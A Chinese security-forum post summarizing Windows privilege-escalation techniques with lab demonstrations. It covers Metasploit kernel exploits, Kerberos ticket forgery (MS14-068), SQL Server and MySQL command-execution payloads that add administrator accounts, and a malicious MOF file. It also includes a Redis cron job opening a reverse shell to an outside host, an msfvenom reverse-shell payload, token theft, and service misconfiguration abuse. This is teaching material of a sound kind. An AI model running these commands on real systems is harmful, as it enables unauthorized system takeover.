首页
社区
课程
招聘
[原创]windows提权小结及靶场实践
发表于: 2021-7-22 16:31 2927

[原创]windows提权小结及靶场实践

2021-7-22 16:31
2927

这次一起来小结下Windows常用提权方式,主要分为:漏洞提权、数据库提权、Windows特性提权、第三方软件提权等。由于小弟的能力还比较薄弱,文章尚有纰漏还请师傅海涵。

测试环境均在win7 x64 sp1

当接收到会话后,可以使用msf自带的命令:
use post/multi/recon/local_exploit_suggester
set SESSION 10
run

同样也可以使用https://github.com/chroblert/WindowsVulnScan 搜索系统缺失的补丁:
先运行其ps脚本得到系统中所打的补丁号:

python.exe .\check.py -u创建CVEKB数据库后,接着python.exe .\check.py -C -f .\KB.json查看操作系统打的补丁,以及存在可进行漏洞利用的公开EXP漏洞。

漏洞背景:Background Intelligent Transfer Service(BITS)是其中的一个后台智能传输服务组件。BITS中存在提权漏洞,该漏洞源于该服务无法正确处理符号链接。攻击者可通过执行特制的应用程序利用该漏洞覆盖目标文件,提升权限。
漏洞危害:影响windows全版本
exp下载地址:https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION
漏洞验证:

漏洞背景:CVE-2018-8120是Windows操作系统Win32k的内核提权漏洞,Windows系统win32k.sys组件的NtUserSetImeInfoEx()系统服务函数内部未验证内核对象中的空指针对象,普通应用程序可利用该空指针漏洞以内核权限执行任意代码。
漏洞危害:Windows 7 SP1/2008 SP2,2008 R2 SP1
exp下载地址:https://github.com/SecWiki/windows-kernel-exploits/blob/master/CVE-2018-8120
漏洞验证:
Msf集成了该漏洞的payload,当msf反弹会话后,执行下面命令
use exploit/windows/local/ms18_8120_win32k_privesc
set SESSION 10
exploit

因为是利用内核提权,可见返回的直接是system权限的会话。

漏洞背景:Win32k 组件无法正确处理内存中的对象时,可导致特权提升。成功利用此漏洞的攻击者可以在内核模式中运行任意代码、安装任意程序、查看、更改或删除数据、或者创建拥有完全用户权限的新帐户。
漏洞危害:Windows 7/8/10/2008/2012/2016
exp下载地址:https://github.com/ExpLife0011/CVE-2019-0803
漏洞验证:

漏洞背景:Windows SMB 服务器特权提升漏洞,当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞,成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。
漏洞危害:windows 2003/2008/7/8/2012
exp下载地址:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
漏洞验证:
当msf反弹会话后,执行下面命令,使用烂土豆提权,一次不行用多次
use exploit/windows/local/ms16_075_reflection_juicy
set session 10
exploit

后续可以用令牌窃取或者getsystem命令获取到system权限:

漏洞背景:MS14-068 这个漏洞是位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)服务中的 Windows 漏洞,它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC 。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限。
攻击者要利用 MS14-068 这个漏洞提权时,需要掌握下面几个信息:
•域内任意用户SID
•域内任意用户密码
漏洞危害:windows 2003/2008/2012/7/8
exp下载地址:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068
漏洞验证:
先用whoami /user查看当前用户sid

Kerberos::purge或klist purge先清空当前机器中的所有凭证:

利用MS14-068生成相应凭证:
MS14-068.exe -u c@test.com -s S-1-5-21-2273191065-1635484360-3888421177-1105 -d 192.168.202.148 -p c@zxcvbnm123

使用mimikatz将票据注入内存:
Kerberos::ptc “TGT_c@test.com.ccache”


后续利用:

Xp_cmdshell扩展时可以执行系统命令的,而sql server默认就是system权限,这是我们能利用其提权的原因。默认 sa支持外连。
判断权限是不是sa
select is_srvrolemember('sysadmin')
判断xp_cmdshell扩展存储是否存在
select count() from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell'
判断xp_regread扩展存储过程是否存在
select count(
) from master.dbo.sysobjects where name='xp_regread'
开启xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure
提权
exec master..xp_cmdshell 'net user test qwea123. /add' 添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test add' 添加test用户到管理员组

开启
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1; reconfigure;
关闭
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
执行命令
declare @shell int
exec sp_oacreate 'wscript.shell', @shell output
exec sp_method @shell, 'run' , null, 'c:\windows\system32\cmd.exe /c "net user test qwea123. /add" '

exec sp_configure 'show advanced options',1;reconfigure;
-- 不开启的话在执行xp_regwrite会提示让我们开启,
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
--执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user test3 qwea123. /add")')

udf = ‘user defined function’,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,其提权原理,利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库,可以通过以下几种方法得到root密码:
1、 读取网站数据库配置文件
2、 读取数据库存储或备份文件
3、 暴力破解,root默认不支持外连就要上传脚本到服务器爆破
使用UDF提权先要知道MySql对应的版本:select version()
Mysql < 5.1 导出目录 c:/windows或system32
Mysql => 5.1 导出目录/lib/plugin/
目录可以手工创建,也可以使用NTFS流创建:select ‘x’ into dumpfile ‘数据库目录/lib/plugin::INDEX_ALLLOCATION‘
查看数据库安装目录:Select @@basedir
查看MySQL版本:select version();
查看MySQL的插件目录:select @@plugin_dir;
创建lib目录:select 'it is dll' into dumpfile 'c:\program files\mysql\mysql server 5.1\lib::$INDEX_ALLOCATION';
创建plugin目录:select 'it is dll' into dumpfile 'c:\program files\mysql\mysql server 5.1\plugin::$INDEX_ALLOCATION';
创建udf.dll select unhex('hex_of_udf.dll') into dumpfile "c:\program files\mysql\mysql server 5.1\plugin\udf.dll";
php文件已集成了相关导出功能,点击导出即可:


创建函数:create function sys_eval returns string soname 'udf.dll';

执行shell命令:select sys_eval('net user');

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。MOF提权的原理就是当拥有mysql的root权限了以后,然后使用sql语句将系统当中默认的nullevt.mof给替换掉,进而让系统执行我们这个恶意的mof文件。
替换的sql语句:select load_file('D:\wamp\my.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
mof文件代码如下所示:

#pragma namespace("\\.\root\subscription")

instance of EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From
InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

有可能权限不够文件写入c:/windows/system32/目录失败,或者被防护软件拦截等情况出现。

导出自定义可执行文件到启动目录配合重启执行
先执行sql语句开启root外连:
GRANT ALL PRIVILEGES ON . TO root@"%" IDENTIFIED BY "root";
flush privileges;
Msf使用内置的windows/mysql/mysql_start_sql模块,连接数据库,把后门写入服务器启动项:
use exploit/windows/mysql/mysql_start_up
set rhosts 192.168.202.1
set username root
set password root
注意:mysql5.7导出数据提示--secure-file-priv选项问题,查看 secure_file_priv 的值,默认为NULL,表示限制不能导入导出,而secure_file_priv 参数是只读参数,不能使用set global命令修改。所以我们需要打开my.cnf 或 my.ini,加入以下语句后重启mysql。
secure_file_priv=''
没有值时,表示不限制mysqld在任意目录的导入导出。

Redis未授权访问是由于自身配置不当所造成的,没有配置指定ip登录远程登录密码为空等,可以通过绑定数据库访问的ip、设置数据库访问的密码、修改数据库服务运行账户的权限修补。

其漏洞利用方法也有好几种,可以利用计划任务来反弹一个shell:
先在自己的服务器上监听一个端口:
nc -lvnp 7999

利用计划任务执行命令反弹shell,依次执行以下命令反弹得到系统权限:
redis-cli -h 192.168.63.130
set x "\n * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
再用crontab -l 查看root用户下的crontab任务。

同样可以通过通过漏洞写入文件,当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell:
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save

这个特性只在windows server 2003、windows xp有效(有点古老了),在系统cmd窗口输入at 12:00 /interactive cmd.exe新建计划任务,到特点时间点系统以system身份自动执行该任务。

这个特性只在windows server 2003、windows xp有效(同样有点古老了),利用的是注入进程的所有者权限共享机制。使用pinjector.exe -l 查看可注入的进程,再执行pinjector.exe -p 注入PID cmd 监听端口号,在kali执行nc监听即可。

这个特性只在windows server 2003、windows xp有效,win7需要管理员权限才能添加作业(约等于没用)。
sc Create systemcmd binPath= "cmd /K start" type= own type= interact

Sc start systemcmd

此特性在win7、windows server 2003、2008有效
PsExec.exe /accepteula /s \127.0.0.1 cmd /c "whoami"

令牌窃取可以在windows server 2008\2003、windows 7\xp运行。令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。
令牌中的信息包括与进程或线程关联的用户帐户的标识和特权。当用户登录时,系统通过将用户密码与安全数据库中存储的信息进行比较来验证用户密码。如果密码通过身份验证,则系统将生成访问令牌。该用户执行的每个进程都有此访问令牌的副本。
Windows的令牌有两种:
1、Delegation token(授权令牌):用于交互会话登录,例如远程桌面
2、Impersonation token(模拟令牌):用于非交互登录,例如dir远程主机的文c$
攻击者必须已经在特权用户上下文(即管理员)中才能窃取令牌,也就是说需要bypassuac。攻击者通常使用令牌窃取将其安全上下文从管理员级别提升到SYSTEM级别。如果帐户对远程系统具有适当的权限,则可以使用令牌作为该令牌的帐户向远程系统进行身份验证。
窃取令牌背后实现是分以下几步:
1、我们需要是管理员,如果不是,可以使用 bypassuac、烂土豆等技术进行提权。
2、复制访问令牌的进程需要启用 SeDebugPrivilege 权限。
3、使用 OpenProcess 函数获取具有 SYSTEM 权限的进程句柄。
4、使用 OpenProcessToken 函数获取该进程的令牌句柄。
5、使用 DuplicateTokenEx 函数对令牌进程复制。
6、通过 CreateProcessWithToken 函数用复制的令牌创建新的进程,该进程成为拥有 SYSTEM 权限的进程。

下面具体操作:
msfvenom -p windows/meterpreter/reverse_http lhost=192.168.202.131 lport=22222 -f exe -o h4.exe //生成exe
use exploit/multi/handler //建立监听
set payload windows/meterpreter/reverse_http
set lport 22222
set lhost 192.168.202.131

use incognito
list_tokens -u 获取用户Token
上面为交互登录Token,可见没有bypassuac的情况下是没有system的,下面为非交互登录会话Token

use exploit/windows/local/bypassuac
set session 5

impersonate_token “NT AUTHORITY\SYSTEM” 进行令牌假冒

当windows服务中的路径没有被引号包含,则操作系统会执行空格分割后服务路径的前一部分。所以我们可以构造并上传路径名称的文件,然后重启服务,达到提权母的。
先输入命令检测不带引号的服务路径:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr /i /v """

可见第一个是没有空格,没有问题,mytest3则有问题。
我们在c盘下,新建文件,并新建cmd窗口执行C:\Program Files\cmd.exe,则执行到Program.exe文件

由于服务配置管理的错误,用户对服务拥有过多的权限,有可能直接修改服务中的执行文件。可使用accesschk.exe查找特定用户可修改的服务:
accesschk.exe -uwcqv “qqqq” *

使用sc指令修改并重启服务
sc config “mytest” binpath= “C:\ccc.exe”
sc start “mytest”

Lpk提权就是Dll劫持的一种,主要原理就是利用所执行的exe程序优先加载同目录下的dll,且没有对其加载的dll进行验证,具体演示在之前钓鱼文章中:
攻击者需要dll劫持提权满足以下三个点:
1、系统中存在dll劫持的exe程序
2、当前权限能替换exe程序同目录中的dll文件
3、管理员权限去执行该exe程序

使用PrintSpoofer工具提权的原理是,当我们具有了SeAssignPrimaryTokenPrivilege或SeImpersonatePrivilege特权时,可以通过上述这两个特权,在其他用户的上下文中运行代码,甚至创建新的进程,那就意味着能具有SYSTEM权限:


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 1
支持
分享
最新回复 (4)
雪    币: 300
活跃值: (2422)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
mark
2021-7-22 17:16
0
雪    币: 452
活跃值: (6128)
能力值: ( LV12,RANK:580 )
在线值:
发帖
回帖
粉丝
3
mark  感谢分享!
2021-7-22 22:07
0
雪    币: 9675
活跃值: (2481)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
mark
2021-7-27 14:25
0
雪    币: 14
活跃值: (454)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
鸡哥  yyds 我是你的脑残粉
2021-8-6 20:49
0
游客
登录 | 注册 方可回帖
返回
//